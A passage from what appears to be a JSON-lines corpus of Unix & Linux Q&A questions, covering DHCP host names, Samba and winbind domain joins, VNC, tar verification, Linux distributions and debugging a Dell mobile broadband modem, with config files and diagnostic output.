GUI is present. I want to use the servers host name mainly for accessing web pages and samba shares from several Windows computers and Android devices. My homeserver acquires its (static) IP address from a Linksys WRT54GC using DHCP. Both `/etc/hosts` and `/etc/hostname` have added \"homeserver\" as a host name. I did not tamper `/etc/dhcp/dhclient.conf`, because the default settings should work according to Ubuntu sources. The router is only able to resolve host names for DHCP clients. It does not let me edit the client names like some newer products can. All host names of my Windows PC are recognized by the router. I am also able to ping those machines using their host names. So everything seems to be all right on my router. The Linksys WRT54GC is cascaded to an ISP configured DSL modem/router. All internet traffic is routed to the Linksys, as it is placed in the DMZ of the DSL modem/router. The IP address of the DSL modem/router is 192.168.1.1 and the Linksys is 192.168.2.1. The Linksys is configured using a static IP address. The DNS server for the Linksys is configured to 192.168.1.1. All clients linked to the Linksys report having 192.168. **1**.1 as the DNS server. This issue might have something to do with this bug. I have installed the `isc-dhcp-client` package from 13.04, but that did not do the trick. If this bug still exist in Ubuntu 12.04 LTS (and 13.04), I would like to know a work around. ### Edit #1 The OP posted the contents of the file: `/etc/dhcp/dhclient.conf`: # Configuration file for /sbin/dhclient, which is included in Debian's # dhcp3-client package. # # This is a sample configuration file for dhclient. See dhclient.conf's # man page for more information about the syntax of this file # and a more comprehensive list of the parameters understood by # dhclient. # # Normally, if the DHCP server provides reasonable information and does # not leave anything out (like the domain name, for example), then # few changes must be made to this file, if any. # option rfc3442-classless-static-routes code 121 = array of unsigned integer 8; send host-name \"\"; #send dhcp-client-identifier 1:0:a0:24:ab:fb:9c; #send dhcp-lease-time 3600; #supersede domain-name \"fugue.com home.vix.com\"; #prepend domain-name-servers 127.0.0.1; request subnet-mask, broadcast-address, time-offset, routers, domain-name, domain-name-servers, domain-search, host-name, netbios-name-servers, netbios-scope, interface-mtu, rfc3442-classless-static-routes, ntp-servers, dhcp6.domain-search, dhcp6.fqdn, dhcp6.name-servers, dhcp6.sntp-servers; #require subnet-mask, domain-name-servers; #timeout 60; #retry 60; #reboot 10; #select-timeout 5; #initial-interval 2; #script \"/etc/dhcp3/dhclient-script\"; #media \"-link0 -link1 -link2\", \"link0 link1\"; #reject 192.33.137.209; #alias { # interface \"eth0\"; # fixed-address 192.5.5.213; # option subnet-mask 255.255.255.255; #} #lease { # interface \"eth0\"; # fixed-address 192.33.137.200; # medium \"link0 link1\"; # option host-name \"andare.swiftmedia.com\"; # option subnet-mask 255.255.255.0; # option broadcast-address 192.33.137.255; # option routers 192.33.137.250; # option domain-name-servers 127.0.0.1; # renew 2 2000/1/12 00:00:01; # rebind 2 2000/1/12 00:00:01; # expire 2 2000/1/12 00:00:01; #}"} {"_id": "76569", "title": "UUOC with ssh file transfer", "text": "Just wondering; is it possible to skip the `cat` in some_command | ssh remote 'cat > outputfile' ? It feels like a UUOC."} {"_id": "76568", "title": "Problem in Joining RHEL with Windows 2008", "text": "I configured Domain on my test machine (Win2k8) and domain name is **win2008ad.local** and computer name is win2k8. So the full name is **win2k8.win2008ad.local**. I installed packages on RHEL 5 related to winbind, Samba, and KRB After doing all the configurations when i run this command **net ads join -U administrator** it gives me this error ![enter image description here](http://i.stack.imgur.com/esHGT.png) and **wbinfo -u** gives this error _Error Looking up Domain Users_ Contents of `/etc/security/pam_winbind.conf`: # # pam_winbind configuration file # # /etc/security/pam_winbind.conf # [global] # turn on debugging ;debug = yes # request a cached login if possible # (needs \"winbind offline logon = yes\" in smb.conf) ;cached_login = yes # authenticate using kerberos krb5_auth = yes # when using kerberos, request a \"FILE\" krb5 credential cache type # (leave empty to just do krb5 authentication but not have a ticket # afterwards) ;krb5_ccache_type = FILE # make successful authentication dependend on membership of one SID # (can also take a name) ;require_membership_of = Contents of `/etc/krb5.conf`: [root@rhmain ~]# cat /etc/krb5.conf [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = WIN2008AD.LOCAL dns_lookup_realm = false dns_lookup_kdc = false ticket_lifetime = 24h forwardable = yes [realms] #EXAMPLE.COM = { #kdc = kerberos.example.com:88 #admin_server = kerberos.example.com:749 #default_domain = example.com WIN2008AD.LOCAL = { kdc = win2k8.win2008ad.local admin_server = win2k8.win2008ad.local } [domain_realm] #.example.com = EXAMPLE.COM #example.com = EXAMPLE.COM .win2k8.win2008ad.local = WIN2008AD.LOCAL [appdefaults] pam = { debug = false ticket_lifetime = 36000 renew_lifetime = 36000 forwardable = true krb4_convert = false } Contents of `/etc/hosts`: 10.20.20.221 win2k8.win2008ad.local winad Contents of `/etc/nsswitch`: passwd: files winbind shadow: files group: files winbind Contents of `/etc/pam.d/system-auth`: auth required pam_env.so auth sufficient pam_winbind.so auth sufficient pam_unix.so nullok try_first_pass auth requisite pam_succeed_if.so uid >= 500 quiet auth required pam_deny.so account required pam_unix.so account required pam_winbind.so account sufficient pam_succeed_if.so uid < 500 quiet account required pam_permit.so password requisite pam_cracklib.so try_first_pass retry=3 password sufficient pam_winbind.so password sufficient pam_unix.so md5 shadow nullok try_first_pass use_authtok password required pam_deny.so session optional pam_keyinit.so revoke session required pam_limits.so session [success=1 default=ignore] pam_succeed_if.so service in crond quiet use_uid session required pam_unix.so And finally `/etc/samba/smb.conf`: security = ads realm = WIN2008AD.LOCAL What am I missing?"} {"_id": "140854", "title": "Remotely turn off display output?", "text": "I'm using x11vnc and SSH to tunnel VNC remotely to my local machine. One of the interesting side-effects of this is that as I use my work computer from home, my coworkers will see me moving around my mouse, typing, etc. and can stand at my computer in the office and spectate everything. Is there a way for me to disable display output remotely but still be able to VNC into my actual desktop as I left it? Preferably, stopping keyboard and mouse input for the duration of the session would be a good idea\u2122."} {"_id": "119114", "title": "Custom help / man -like command (for reminders)", "text": "I often end up in a situation, where I don't use a command for a while, but then suddenly need to use it; and I need to wade through several help pages until constructing the command line I want. Case in point: occasionally I need to use `nmcli`; and then I need to re-check `nmcli nm help` and `nmcli con help` several times, until I remember what sort of a command I need. What I have done then, is basically document some of this in a text file; the problem is then I usually save it on Desktop; then every once in a while I clean the Desktop files, so I end up thinking \"ah, I don't really use `nmcli- examples.txt` all that much, let me move this one elsewhere too\"; then when I need it again, I have to issue a find for it first (provided I can remember the file name to look for). So I was thinking - making a script that: would have a default location set (e.g. `~/customhelp`), where one could keep specifically these kind of reminder text files; and would list the files in that directory upon `bash` smart completion for the first command argument; and would open such a file name supplied on the command line either in `less` (or in the default GUI text editor if a command line switch is supplied) shouldn't be too difficult. But I'd rather not try reinventing the wheel, so I was wondering - if any sort of a command for a scheme of usage as described, exists already in a typical GNU/Linux system?"} {"_id": "15478", "title": "Debian 6.0 and Intel \"Sandy Bridge\" (DH67CL) integrated video", "text": "Is there a way to get the above to work - I have a quite recent desktop with the hardware and OS mentioned in the title. I was in a rush when first installing it, so I just grabbed an nvidia PCI-e adapter since the **Sandy Bridge** onboard video did not work out of the box (I think I only got VESA video in X)."} {"_id": "123157", "title": "How do I emulate su's behavior with sudo?", "text": "I'm trying to make sudo ask for target password, except when run by `root`. Here's what I do: Defaults:!root targetpw This way it asks for my password, and if I make it like this: Defaults:yuri targetpw it asks for target user's password, but that's not what I wanted."} {"_id": "123151", "title": "Show two desktop pagers with different settings in KDE", "text": "I'm trying to set up a CentOS 6 system with KDE. I have an older system that use gnome that I'm happy with, and I'm trying to make the KDE system behave as much like the gnome one as possible. The current issue is the pager. On Gnome, I have two pager widgets. one has the full 4x4 view of all of my virtual desktops with just silhouettes of the windows. The other just shows the current desktop, and just shows the name. If I try this in KDE, all pager widgets appear to have the same settings. All I really want is a full 4x4 pager widget, and another widget that just has the name of the current desktop. How do I do this? I'm not sure what version of KDE I have, I tried looking it up, but nothing seemed to say..."} {"_id": "123152", "title": "start qemu by giving it a path to a linux root", "text": "Good evening, I installed ArchLinux on a USB stick, and I would like to boot it in qemu. Unfortunately, most examples I found boot an image (iso..). The stick is definitely bootable as if I restart my computer, it shows a grub that can successfully start ArchLinux. I have tried things such as > sudo qemu-system-x86_64 -usb -usbdevice > disk:/media/louis/FlyinBaboon/boot/initramfs-linux.img -boot menu=on only to get boot errors. **What is the correct way to start qemu by giving it a path to a linux root?** ( _/media/louis/FlyingBaboon_ corresponding to my USB stick's root)"} {"_id": "123153", "title": "Limiting number of processes by name", "text": "is it possible to limit number of processes for a given group or user using the process name? Eg. I'd like to groups **remotes** have only 5 simultaneous **ssh** processes that are run on my server. I don't see any options in **pam_limit** (I can only limit number of process per user or group, regardless of process name) and I don't see ability in **cgroups**. Do you have any ideas how to accomplish this? (script in cron is not an answer for me :))"} {"_id": "15472", "title": "How do you verify a tar archive that is already written?", "text": "I know that you can do -W when creating an archive, but how do you verify and already-created archive? tvWf says it's not a valid tar archive? $ mkdir tmp $ echo asdkfjh > tmp/a $ echo qweroiu > tmp/b $ ls tmp $ tar cvf archive.tar tmp tmp/ tmp/a tmp/b $ tar tvWf archive.tar tar: This does not look like a tar archive tar: Skipping to next header tar: VERIFY FAILURE: 1 invalid header detected tar: Error exit delayed from previous errors Same thing happens with both tar 1.15 (which is the system default on centos 5) and 1.26 (which is the newest version from gnu)."} {"_id": "15473", "title": "What is the difference between /etc and /usr/local/etc", "text": "I am developing a daemon that needs to store lots of application data, and I noticed that on my system (Fedora 15), there is a `/usr/local/etc` directory. I've decided to install my daemon to `/usr/local/bin`, and I need a place for my config files. I didn't see this on Wikipedia. Is this non-standard or is this in fact the standard place for programs installed to `/usr/local/bin` to store config files? Reason being, I want to market this to sys-admins, and getting something like this wrong is not a great selling-point..."} {"_id": "15470", "title": "real time backup if file changed?", "text": "Are there any linux/unix console applications similar to Yadis that would allow me to: * be set up from the **console** * backup **multiple** directories * backup / sync in **real time** after the files (text files) are changed **Update 1:** I write shell scripts, ruby scripts, aliases etc etc to make my work easier. I want to have backup of these files. The solution I am looking for will copy these files after any change was made to them to a subdirectory of my dropbox directory and that's it. Backup is done and available from anywhere. Always fresh and ready and I dont' have to think about it. I know I can run cron few times a day but I thought there must be a solution for what I am looking for available on linux. I am not so linux experienced so I asked here."} {"_id": "15471", "title": "Ubuntu vs. CentOS and Binary Compatibility", "text": "I am trying to install software that is built on CentOS 4.7. Do you know if it will also run in Ubuntu? I read CentOS is 100% binary compatible. Is the same true for the most recent version of Ubuntu?"} {"_id": "6946", "title": "gdm graphical login prompt problem (OpenSUSE 11.2)", "text": "I'm trying to figure out why the graphical login prompt won't show up at the login page. I see the wallpaper just fine, but the graphical login prompt wont show up no matter how long I wait. So, In the console, I've done `init 3` to shut down gdm and then restarted it with `init 5`. The problem still persists. I downloaded and installed kdm and set it as the default display manager through editing `/etc/systemconfig/displaymanager`. It worked fine, except that the main menu and many other items in the panels are gone. So I removed gdm with zypper and then reinstalled it again. I set the gdm as the default display manager and restarted gdm. The same problem shows up again. So I tried to bypass the login page entirely by enabling autologin. I put my username in the autologin section of `/etc/systemconfig/displaymanager` and restarted gdm. No go, I still get the same problem. I'm thinking it mightn't be gdm related and that something else is interfering with gdm startup, but I'm stumped at this point. Any ideas?"} {"_id": "6945", "title": "What makes CentOS \"enterprisey\" compared to \"generic\" distributions like Ubuntu?", "text": "What makes CentOS \"enterprisey\" compared to \"generic\" distributions like Ubuntu? When I say \"enterprisey\" I actually mean \"better for server deployments\". Just a general question, because I was thinking of hosting a web application on my computer (which runs Ubuntu) and came upon a page that said that CentOS had 30% market share for servers. Of course, that doesn't exactly indicate that it's better in anyway, so I just wanted to ask. ## Edit There's another thing I really fail to understand ... most of these distributions, use the same applications, have the same package manager, and all of them are powered by the same kernel. Where's the difference, then? RHEL's \"happy text page\" says: 1. more secure applications 2. protection against commonly exploited security flaws, e.g. buffer overflows integrated in the standard software stack 3. highest-grade protection via the SELinux security feature. Protects system services from attacks, full transparency and is easy to extend and adopt. 4. smartcard authentication support ## Questions 1. How? Unless RHEL somehow has modified versions of the software stack that you'll be using (in my case, Python and SQLite3), there wouldn't be any difference. 2. Doesn't every other distribution claim that? 3. I've heard about problems concerning SELinux. Would like to know more about it. 4. ?"} {"_id": "86756", "title": "Can't install software in Debian 6", "text": "I installed `Debian 6 Squeez` on my virtual machine and I can't install software using `aptitude` or `apt-get`. This is my `sources.list` file: root@debian:/etc/apt# cat sources.list # # deb cdrom:[Debian GNU/Linux 6.0.5 _Squeeze_ - Official i386 DVD Binary-1 20120512-13:45]/ squeeze contrib main deb cdrom:[Debian GNU/Linux 6.0.5 _Squeeze_ - Official i386 DVD Binary-1 20120512-13:45]/ squeeze contrib main deb http://security.debian.org/ squeeze/updates main contrib deb-src http://security.debian.org/ squeeze/updates main contrib # squeeze-updates, previously known as 'volatile' # A network mirror was not selected during install. The following entries # are provided as examples, but you should amend them as appropriate # for your mirror of choice. # # deb http://ftp.debian.org/debian/ squeeze-updates main contrib # deb-src http://ftp.debian.org/debian/ squeeze-updates main contrib root@debian:/etc/apt# I tried commenting the `cdrom` lines, I also tried to add some sources I found on the net but none of them are working. Can anyone tell me why the default `sources.list` file doesn't have the appropriate configuration so I can easily `aptitude install lftp` for example? What can I do to install software from their repositories?"} {"_id": "86754", "title": "Arch install Compiz", "text": "I'm new to arch, and want to install Xfce with Compiz. I saw on tutorials what packages to install , but when I try to install them with `pacman -S compiz-...`, I only get things like: `error: target not found: ccsm`. How do I get to the packages?"} {"_id": "152019", "title": "Problems with Dell Wireless 5570 HSPA+ Mobile Broadband card", "text": "I've got a new Dell Latitude e7440, and a Dell Wireless 5570 HSPA+ mobile broadband card. I cannot get the broadband card to work. I can see the card: # lshw .... *-network DISABLED description: Ethernet interface physical id: 1 logical name: wwan0 serial: 46:51:4c:75:9d:ad capabilities: ethernet physical configuration: broadcast=yes driver=cdc_mbim driverversion=22-Aug-2005 firmware=CDC MBIM link=no multicast=yes And I can get rid of the DISABLED text: # ifconfig wwan0 up # ifconfig wwan0 wwan0 Link encap:Ethernet HWaddr 46:51:4c:75:9d:ad inet6 addr: fe80::4451:4cff:fe75:9dad/64 Scope:Link UP BROADCAST RUNNING NOARP MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:11 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:3937 (3.9 KB) # lshw .... *-network description: Ethernet interface physical id: 3 logical name: wwan0 serial: 46:51:4c:75:9d:ad capabilities: ethernet physical configuration: broadcast=yes driver=cdc_mbim driverversion=22-Aug-2005 firmware=CDC MBIM link=yes multicast=yes But I cannot _use_ the card in any way. * There's no `/dev/ttyUSBx` to which I could input AT commands. * I cannot see a mobile broadband connection in the Network manager. * tools like `mbim-network` simply say the connection to the modem failed My Dell BIOS version is `A10`, and from BIOS I can see the card. It's enabled and from that perspective there shouldn't be anything wrong with it. If I need to debug the driver, I'm willing to give that a try but I need some pointers on where to start. Any help is much appreciated Below is a list of debug output. Please ask for more in the comments if you think of anything that's helpful. * * * Here's `lsusb -v`: # lsusb -v Bus 002 Device 017: ID 413c:81a3 Dell Computer Corp. Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x413c Dell Computer Corp. idProduct 0x81a3 bcdDevice 0.06 iManufacturer 1 Sierra Wireless, Incorporated iProduct 2 Dell Wireless 5570 HSPA+ (42Mbps) Mobile Broadband Card iSerial 3 bNumConfigurations 2 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 204 bNumInterfaces 4 bConfigurationValue 1 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 500mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 2 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 0 bInterfaceProtocol 0 iInterface 0 ** UNRECOGNIZED: 05 24 00 10 01 ** UNRECOGNIZED: 05 24 01 00 00 ** UNRECOGNIZED: 04 24 02 02 ** UNRECOGNIZED: 05 24 06 00 00 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x82 EP 2 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x000c 1x 12 bytes bInterval 9 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 3 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 0 bInterfaceProtocol 0 iInterface 0 ** UNRECOGNIZED: 05 24 00 10 01 ** UNRECOGNIZED: 05 24 01 00 00 ** UNRECOGNIZED: 04 24 02 02 ** UNRECOGNIZED: 05 24 06 00 00 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x84 EP 4 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x000c 1x 12 bytes bInterval 9 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x83 EP 3 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x02 EP 2 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 8 bAlternateSetting 0 bNumEndpoints 3 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x86 EP 6 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x000a 1x 10 bytes bInterval 9 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x85 EP 5 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x03 EP 3 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 ** UNRECOGNIZED: 2c ff 42 49 53 54 00 01 07 f5 40 f6 00 00 00 00 01 f7 c4 09 02 f8 c4 09 03 f9 88 13 04 fa 10 27 05 fb 10 27 06 fc c4 09 07 fd c4 09 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 255 Vendor Specific Class bInterfaceSubClass 255 Vendor Specific Subclass bInterfaceProtocol 255 Vendor Specific Protocol iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x87 EP 7 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x04 EP 4 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 82 bNumInterfaces 2 bConfigurationValue 2 iConfiguration 0 bmAttributes 0xe0 Self Powered Remote Wakeup MaxPower 500mA Interface Association: bLength 8 bDescriptorType 11 bFirstInterface 12 bInterfaceCount 2 bFunctionClass 2 Communications bFunctionSubClass 14 bFunctionProtocol 0 iFunction 0 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 12 bAlternateSetting 0 bNumEndpoints 1 bInterfaceClass 2 Communications bInterfaceSubClass 14 bInterfaceProtocol 0 iInterface 0 CDC Header: bcdCDC 1.10 CDC MBIM: bcdMBIMVersion 1.00 wMaxControlMessage 4096 bNumberFilters 16 bMaxFilterSize 128 wMaxSegmentSize 4064 bmNetworkCapabilities 0x20 8-byte ntb input size Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x82 EP 2 IN bmAttributes 3 Transfer Type Interrupt Synch Type None Usage Type Data wMaxPacketSize 0x0040 1x 64 bytes bInterval 9 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 13 bAlternateSetting 0 bNumEndpoints 0 bInterfaceClass 10 CDC Data bInterfaceSubClass 0 Unused bInterfaceProtocol 2 iInterface 0 Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 13 bAlternateSetting 1 bNumEndpoints 2 bInterfaceClass 10 CDC Data bInterfaceSubClass 0 Unused bInterfaceProtocol 2 iInterface 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Device Qualifier (for other device speed): bLength 10 bDescriptorType 6 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 bNumConfigurations 2 Device Status: 0x0000 (Bus Powered) And the `usb-devices` output for the modem: # usb-devices T: Bus=02 Lev=01 Prnt=01 Port=06 Cnt=02 Dev#= 17 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 2 P: Vendor=413c ProdID=81a3 Rev=00.06 S: Manufacturer=Sierra Wireless, Incorporated S: Product=Dell Wireless 5570 HSPA+ (42Mbps) Mobile Broadband Card C: #Ifs= 2 Cfg#= 2 Atr=e0 MxPwr=500mA /usr/bin/usb-devices: line 79: printf: c: invalid number I: If#= 0 Alt= 0 #EPs= 1 Cls=02(commc) Sub=0e Prot=00 Driver=cdc_mbim /usr/bin/usb-devices: line 79: printf: d: invalid number I: If#= 0 Alt= 1 #EPs= 2 Cls=0a(data ) Sub=00 Prot=02 Driver=cdc_mbim Here's the `rfkill`-information: # cat /sys/kernel/debug/dell_laptop/rfkill status: 0x1015D Bit 0 : Hardware switch supported: 1 Bit 1 : Wifi locator supported: 0 Bit 2 : Wifi is supported: 1 Bit 3 : Bluetooth is supported: 1 Bit 4 : WWAN is supported: 1 Bit 5 : Wireless keyboard supported: 0 Bit 8 : Wifi is installed: 1 Bit 9 : Bluetooth is installed: 0 Bit 10: WWAN is installed: 0 Bit 16: Hardware switch is on: 1 Bit 17: Wifi is blocked: 0 Bit 18: Bluetooth is blocked: 0 Bit 19: WWAN is blocked: 0 hwswitch_state: 0x1F Bit 0 : Wifi controlled by switch: 1 Bit 1 : Bluetooth controlled by switch: 1 Bit 2 : WWAN controlled by switch: 1 Bit 7 : Wireless switch config locked: 0 Bit 8 : Wifi locator enabled: 0 Bit 15: Wifi locator setting locked: 0 This is what you can see via `dmesg` whenever the device is enabled: [ 2101.897753] usb 2-7: new high-speed USB device number 17 using xhci_hcd [ 2102.026467] usb 2-7: config 1 has an invalid interface number: 8 but max is 3 [ 2102.026480] usb 2-7: config 1 has no interface number 1 [ 2102.026926] usb 2-7: config 2 has an invalid interface number: 12 but max is 1 [ 2102.026930] usb 2-7: config 2 has an invalid interface number: 13 but max is 1 [ 2102.026941] usb 2-7: config 2 has an invalid interface number: 13 but max is 1 [ 2102.026942] usb 2-7: config 2 has no interface number 0 [ 2102.026943] usb 2-7: config 2 has no interface number 1 [ 2102.027618] usb 2-7: New USB device found, idVendor=413c, idProduct=81a3 [ 2102.027621] usb 2-7: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 2102.027623] usb 2-7: Product: Dell Wireless 5570 HSPA+ (42Mbps) Mobile Broadband Card [ 2102.027624] usb 2-7: Manufacturer: Sierra Wireless, Incorporated [ 2102.029821] cdc_mbim 2-7:2.12: cdc-wdm0: USB WDM device [ 2102.029954] cdc_mbim 2-7:2.12 wwan0: register 'cdc_mbim' at usb-0000:00:14.0-7, CDC MBIM, 46:51:4c:75:9d:ad `nmcli` output: # nmcli nm status RUNNING STATE WIFI-HARDWARE WIFI WWAN-HARDWARE WWAN running connected enabled enabled enabled enabled This is what I get when I try to start it with `mbim-network`: # mbim-network /dev/cdc-wdm0 start Querying subscriber ready status 'mbimcli -d /dev/cdc-wdm0 --query-subscriber-ready-status --no-close'... error: couldn't open the MbimDevice: Failure Querying registration state 'mbimcli -d /dev/cdc-wdm0 --query-registration-state --no-open= --no-close'... error: invalid transaction ID specified: Attaching to packet service with 'mbimcli -d /dev/cdc-wdm0 --attach-packet-service --no-open= --no-close'... error: invalid transaction ID specified: Starting network with 'mbimcli -d /dev/cdc-wdm0 --connect= --no-open= --no-close'... error: invalid transaction ID specified: Network start failed The driver should be OK, grepping for the vendor and product id combination from `modprobe` output: # modprobe -c | grep -i 413c.*81a3 alias usb:v413Cp81A3d*dc*dsc*dp*ic*isc*ip*in00* qcserial alias usb:v413Cp81A3d*dc*dsc*dp*ic*isc*ip*in02* qcserial alias usb:v413Cp81A3d*dc*dsc*dp*ic*isc*ip*in03* qcserial alias usb:v413Cp81A3d*dc*dsc*dp*ic*isc*ip*in08* qmi_wwan Here's my linux version. I'm running a modified kernel due to a multiheading docking station problem, but this modem issue occurs identically on the 3.13 kernel which was the default when I installed ubuntu 14.04. # uname -a Linux slartibartfast 3.15.0-rc8+ #5 SMP Mon Jul 21 14:18:58 EEST 2014 x86_64 x86_64 x86_64 GNU/Linux Using `libqmi` and `qmicli`, I get some interaction with the modem, but still some fairly confusing error messages. I have not yet had time to look into this further. $ sudo qmicli -d /dev/cdc-wdm0 --verbose --wds-start-network= --client-no-release-cid [27 elo 2014, 12:41:16] [Debug] QMI Device at '/dev/cdc-wdm0' ready [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Assuming service 'wds' is supported... [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Allocating new client ID... [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Sent message... <<<<<< RAW: <<<<<< length = 16 <<<<<< data = 01:0F:00:00:00:00:00:01:22:00:04:00:01:01:00:01 [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Sent message (translated)... <<<<<< QMUX: <<<<<< length = 15 <<<<<< flags = 0x00 <<<<<< service = \"ctl\" <<<<<< client = 0 <<<<<< QMI: <<<<<< flags = \"none\" <<<<<< transaction = 1 <<<<<< tlv_length = 4 <<<<<< message = \"Allocate CID\" (0x0022) <<<<<< TLV: <<<<<< type = \"Service\" (0x01) <<<<<< length = 1 <<<<<< value = 01 <<<<<< translated = wds [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Received message... >>>>>> RAW: >>>>>> length = 24 >>>>>> data = 01:17:00:80:00:00:01:01:22:00:0C:00:02:04:00:00:00:00:00:01:02:00:01:08 [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Received message (translated)... >>>>>> QMUX: >>>>>> length = 23 >>>>>> flags = 0x80 >>>>>> service = \"ctl\" >>>>>> client = 0 >>>>>> QMI: >>>>>> flags = \"response\" >>>>>> transaction = 1 >>>>>> tlv_length = 12 >>>>>> message = \"Allocate CID\" (0x0022) >>>>>> TLV: >>>>>> type = \"Result\" (0x02) >>>>>> length = 4 >>>>>> value = 00:00:00:00 >>>>>> translated = SUCCESS >>>>>> TLV: >>>>>> type = \"Allocation Info\" (0x01) >>>>>> length = 2 >>>>>> value = 01:08 >>>>>> translated = [ service = 'wds' cid = '8' ] [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Registered 'wds' (version unknown) client with ID '8' [27 elo 2014, 12:41:16] [Debug] Asynchronously starting network... [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Sent message... <<<<<< RAW: <<<<<< length = 13 <<<<<< data = 01:0C:00:00:01:08:00:01:00:20:00:00:00 [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Sent message (translated)... <<<<<< QMUX: <<<<<< length = 12 <<<<<< flags = 0x00 <<<<<< service = \"wds\" <<<<<< client = 8 <<<<<< QMI: <<<<<< flags = \"none\" <<<<<< transaction = 1 <<<<<< tlv_length = 0 <<<<<< message = \"Start Network\" (0x0020) [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Received message... >>>>>> RAW: >>>>>> length = 32 >>>>>> data = 01:1F:00:80:01:08:02:01:00:20:00:13:00:02:04:00:01:00:0E:00:10:02:00:03:00:11:04:00:03:00:D1:07 [27 elo 2014, 12:41:16] [Debug] [/dev/cdc-wdm0] Received message (translated)... >>>>>> QMUX: >>>>>> length = 31 >>>>>> flags = 0x80 >>>>>> service = \"wds\" >>>>>> client = 8 >>>>>> QMI: >>>>>> flags = \"response\" >>>>>> transaction = 1 >>>>>> tlv_length = 19 >>>>>> message = \"Start Network\" (0x0020) >>>>>> TLV: >>>>>> type = \"Result\" (0x02) >>>>>> length = 4 >>>>>> value = 01:00:0E:00 >>>>>> translated = FAILURE: CallFailed >>>>>> TLV: >>>>>> type = \"Call End Reason\" (0x10) >>>>>> length = 2 >>>>>> value = 03:00 >>>>>> translated = generic-no-service >>>>>> TLV: >>>>>> type = \"Verbose Call End Reason\" (0x11) >>>>>> length 